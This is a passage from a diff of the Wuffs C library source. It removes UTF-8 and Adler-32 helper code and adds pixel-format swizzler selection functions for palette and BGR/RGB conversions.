0xFFFF) { +- if ((dst.len >= 3) && ((code_point < 0xD800) || (0xDFFF < code_point))) { +- dst.ptr[0] = (uint8_t)(0xE0 | ((code_point >> 12))); +- dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); +- dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); +- return 3; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src_over; ++ } ++ return NULL; + +- } else if (code_point <= 0x10FFFF) { +- if (dst.len >= 4) { +- dst.ptr[0] = (uint8_t)(0xF0 | ((code_point >> 18))); +- dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 12) & 0x3F)); +- dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); +- dst.ptr[3] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); +- return 4; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src_over; ++ } ++ return NULL; + } +- +- return 0; ++ return NULL; + } + +-// wuffs_base__utf_8__byte_length_minus_1 is the byte length (minus 1) of a +-// UTF-8 encoded code point, based on the encoding's initial byte. +-// - 0x00 is 1-byte UTF-8 (ASCII). +-// - 0x01 is the start of 2-byte UTF-8. +-// - 0x02 is the start of 3-byte UTF-8. +-// - 0x03 is the start of 4-byte UTF-8. +-// - 0x40 is a UTF-8 tail byte. +-// - 0x80 is invalid UTF-8. +-// +-// RFC 3629 (UTF-8) gives this grammar for valid UTF-8: +-// UTF8-1 = %x00-7F +-// UTF8-2 = %xC2-DF UTF8-tail +-// UTF8-3 = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) / +-// %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail ) +-// UTF8-4 = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) / +-// %xF4 %x80-8F 2( UTF8-tail ) +-// UTF8-tail = %x80-BF +-static const uint8_t wuffs_base__utf_8__byte_length_minus_1[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x30 ..= 0x37. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. +- +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. +- +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x80 ..= 0x87. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x88 ..= 0x8F. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x90 ..= 0x97. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x98 ..= 0x9F. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA0 ..= 0xA7. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA8 ..= 0xAF. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB0 ..= 0xB7. +- 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB8 ..= 0xBF. ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_nonpremul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_1_1; ++ } ++ return NULL; + +- 0x80, 0x80, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC0 ..= 0xC7. +- 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC8 ..= 0xCF. +- 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD0 ..= 0xD7. +- 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD8 ..= 0xDF. +- 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE0 ..= 0xE7. +- 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE8 ..= 0xEF. +- 0x03, 0x03, 0x03, 0x03, 0x03, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +-}; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_squash_align4_bgr_565_8888( ++ dst_palette.ptr, dst_palette.len, src_palette.ptr, ++ src_palette.len, true) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_bgr_565__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_bgr_565__index_bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // +-wuffs_base__utf_8__next(const uint8_t* s_ptr, size_t s_len) { +- if (s_len == 0) { +- return wuffs_base__make_utf_8__next__output(0, 0); +- } +- uint32_t c = s_ptr[0]; +- switch (wuffs_base__utf_8__byte_length_minus_1[c & 0xFF]) { +- case 0: +- return wuffs_base__make_utf_8__next__output(c, 1); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxx__index_bgra_nonpremul__src_over; ++ } ++ return NULL; + +- case 1: +- if (s_len < 2) { +- break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; + } +- c = wuffs_base__peek_u16le__no_bounds_check(s_ptr); +- if ((c & 0xC000) != 0x8000) { +- break; ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__index_bgra_nonpremul__src_over; + } +- c = (0x0007C0 & (c << 6)) | (0x00003F & (c >> 8)); +- return wuffs_base__make_utf_8__next__output(c, 2); ++ return NULL; + +- case 2: +- if (s_len < 3) { +- break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; + } +- c = wuffs_base__peek_u24le__no_bounds_check(s_ptr); +- if ((c & 0xC0C000) != 0x808000) { +- break; ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxxxxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over; + } +- c = (0x00F000 & (c << 12)) | (0x000FC0 & (c >> 2)) | +- (0x00003F & (c >> 16)); +- if ((c <= 0x07FF) || ((0xD800 <= c) && (c <= 0xDFFF))) { +- break; ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_bgra_premul__index_bgra_nonpremul__src_over; + } +- return wuffs_base__make_utf_8__next__output(c, 3); ++ return NULL; + +- case 3: +- if (s_len < 4) { +- break; ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxx__index_bgra_nonpremul__src_over; + } +- c = wuffs_base__peek_u32le__no_bounds_check(s_ptr); +- if ((c & 0xC0C0C000) != 0x80808000) { +- break; ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; + } +- c = (0x1C0000 & (c << 18)) | (0x03F000 & (c << 4)) | +- (0x000FC0 & (c >> 10)) | (0x00003F & (c >> 24)); +- if ((c <= 0xFFFF) || (0x110000 <= c)) { +- break; ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__index_bgra_nonpremul__src_over; + } +- return wuffs_base__make_utf_8__next__output(c, 4); +- } ++ return NULL; + +- return wuffs_base__make_utf_8__next__output( +- WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ if (wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ return wuffs_private_impl__swizzle_bgra_premul__index_bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // +-wuffs_base__utf_8__next_from_end(const uint8_t* s_ptr, size_t s_len) { +- if (s_len == 0) { +- return wuffs_base__make_utf_8__next__output(0, 0); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ // TODO. ++ break; + } +- const uint8_t* ptr = &s_ptr[s_len - 1]; +- if (*ptr < 0x80) { +- return wuffs_base__make_utf_8__next__output(*ptr, 1); ++ return NULL; ++} + +- } else if (*ptr < 0xC0) { +- const uint8_t* too_far = &s_ptr[(s_len > 4) ? (s_len - 4) : 0]; +- uint32_t n = 1; +- while (ptr != too_far) { +- ptr--; +- n++; +- if (*ptr < 0x80) { +- break; +- } else if (*ptr < 0xC0) { +- continue; ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_binary( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; + } +- wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(ptr, n); +- if (o.byte_length != n) { +- break; ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_1_1; + } +- return o; +- } +- } +- +- return wuffs_base__make_utf_8__next__output( +- WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); +-} ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__utf_8__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { +- // TODO: possibly optimize the all-ASCII case (4 or 8 bytes at a time). +- // +- // TODO: possibly optimize this by manually inlining the +- // wuffs_base__utf_8__next calls. +- size_t original_len = s_len; +- while (s_len > 0) { +- wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(s_ptr, s_len); +- if ((o.code_point > 0x7F) && (o.byte_length == 1)) { +- break; +- } +- s_ptr += o.byte_length; +- s_len -= o.byte_length; +- } +- return original_len - s_len; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ if (wuffs_private_impl__swizzle_squash_align4_bgr_565_8888( ++ dst_palette.ptr, dst_palette.len, src_palette.ptr, ++ src_palette.len, false) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__index_binary_alpha__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__ascii__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { +- // TODO: possibly optimize this by checking 4 or 8 bytes at a time. +- const uint8_t* original_ptr = s_ptr; +- const uint8_t* p = s_ptr; +- const uint8_t* q = s_ptr + s_len; +- for (; (p != q) && ((*p & 0x80) == 0); p++) { +- } +- return (size_t)(p - original_ptr); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxx__index_binary_alpha__src_over; ++ } ++ return NULL; + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__UTF8) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxxx__index_binary_alpha__src_over; ++ } ++ return NULL; + +-#ifdef __cplusplus +-} // extern "C" +-#endif ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ if (wuffs_private_impl__slice_u8__copy_from_slice(dst_palette, ++ src_palette) != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxxxxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxxxxxxx__index_binary_alpha__src_over; ++ } ++ return NULL; + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxx__index_binary_alpha__src_over; ++ } ++ return NULL; + +-// ---------------- Status Codes Implementations ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ if (wuffs_private_impl__swizzle_swap_rgbx_bgrx( ++ dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, ++ src_palette.len) != ++ (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ return NULL; ++ } ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxxx__index__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxxx__index_binary_alpha__src_over; ++ } ++ return NULL; ++ } ++ return NULL; ++} + +-// ---------------- Private Consts ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgr_565( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_copy_2_2; + +-// ---------------- Private Initializer Prototypes ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return wuffs_private_impl__swizzle_bgr__bgr_565; + +-// ---------------- Private Function Prototypes ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ return wuffs_private_impl__swizzle_bgrw__bgr_565; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_bgrw_4x16le__bgr_565; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up__choosy_default( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x); ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_rgb__bgr_565; + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up_arm_neon( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ return wuffs_private_impl__swizzle_rgbw__bgr_565; ++ } ++ return NULL; ++} + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up_x86_sse42( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgr( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__bgr; + +-// ---------------- VTables ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return wuffs_private_impl__swizzle_copy_3_3; + +-const wuffs_base__hasher_u32__func_ptrs +-wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { +- (uint32_t(*)(const void*))(&wuffs_adler32__hasher__checksum_u32), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_adler32__hasher__get_quirk), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_adler32__hasher__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- wuffs_base__slice_u8))(&wuffs_adler32__hasher__update), +- (uint32_t(*)(void*, +- wuffs_base__slice_u8))(&wuffs_adler32__hasher__update_u32), +-}; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_bgrw__bgr; + +-// ---------------- Initializer Implementations ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_bgrw_4x16le__bgr; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_adler32__hasher__initialize( +- wuffs_adler32__hasher* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_swap_rgb_bgr; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if 